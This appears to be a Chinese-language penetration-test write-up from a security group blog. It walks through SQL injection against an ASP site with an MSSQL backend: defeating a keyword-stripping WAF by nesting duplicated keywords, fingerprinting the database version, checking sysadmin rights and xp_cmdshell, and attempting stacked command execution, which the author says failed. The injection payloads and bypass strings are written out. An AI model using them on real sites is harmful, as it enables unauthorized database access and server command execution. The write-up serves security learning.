0x00 前言:
在一次渗透测试中,遇到了拥有SA权限的Mssql数据库,就想到了命令执行。可惜了臣服在了数据库的淫威之下,想到点思路但是却又没有实现出来。希望大大们看完文章之后能给点意见。0x01 测试过程:
1、注入思路:
检测注入==》获取数据库版本==》查看权限==》查看是否开启扩展==》查看是否支持堆叠==》堆叠注入-执行命令
2、判断注入点
看到一个搜索框检测是否存在注入
报错了嘿嘿,注入漏洞有了,根据报错的内容加上是asp的网站初步判定为Mssql数据库
并且再报错的内容中也得知了该怎么去闭合它。and title like '%1’%' 这里的sql语句中 使得我们的闭合需要做点修改这点相信大家也是看得很清楚的。
3、绕过防护
很惊喜的存在注入点但是在惊喜之后迎来的却是一种无奈呀!~ 居然做了防护。
经判断存在WAF,那么接下来开始绕过之旅 首先我们来看看它到底过滤了那些东西。
一开始就把and 给过滤了,经过测试只要出现这类关键词就会被删除。
那么尝试复写去进行绕过
经测试,通过多重复写,绕过了它的检测机制。
4、判断数据库信息
1)判断数据库类型
Payload:
and exists (select * from sysobjects)-- 返回正常为mssql(又名sql server)
确定为mssql数据
2)查看数据库版本
Payload:
and 1=@@version--这个语句要在有回显的模式下才可以and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的
得到版本号Microsoft SQL Server 2014 - 12.0.2000.8 (X64)
3)查看数据库权限
Payload:
and 1=(select is_srvrolemember('sysadmin'))
返回正常,判断是系统管理员权限(SA)
4)判断xp_cmdshell扩展是否存在
Payload:
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')
确定开启了xp_cmdshell扩展,这下命令执行已经在向我们招手了。
小技巧科普:xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
注:想要使用exec 动态命令,会用到堆叠查询功能。
5)使用xp_cmdshell扩展完成我们今天的目的“命令执行”
Payload:
;exec master..xp_cmdshell 'whoami'
至于后面为什么exec会这样写因为它只删除完整的exec (exec后面还有一个空格)后面不能加东西不然就会识别出exeexecc 不会进行删除然后测试发现exeeexec xec c 这样可以绕过前面的exec删除。
0x02 summary 总结
但是,最终没有成功执行whoami命令,那叫一个难受啊!到这里测试就先告一段落了。很遗憾最后没有完成命令执行,这里没有能够解决超时问题难受≧ ﹏ ≦。希望各位看官大大们,能给提供些意见。
0x03 结束语
感谢大哥们的对NOVASEC的支持点赞和关注,加入我们与萌新一起成长吧。
如有任何问题、建议、投稿请加NOVASEC-MOYU,以方便及时回复。
如有任何问题、建议、投稿请加NOVASEC-MOYU,以方便及时回复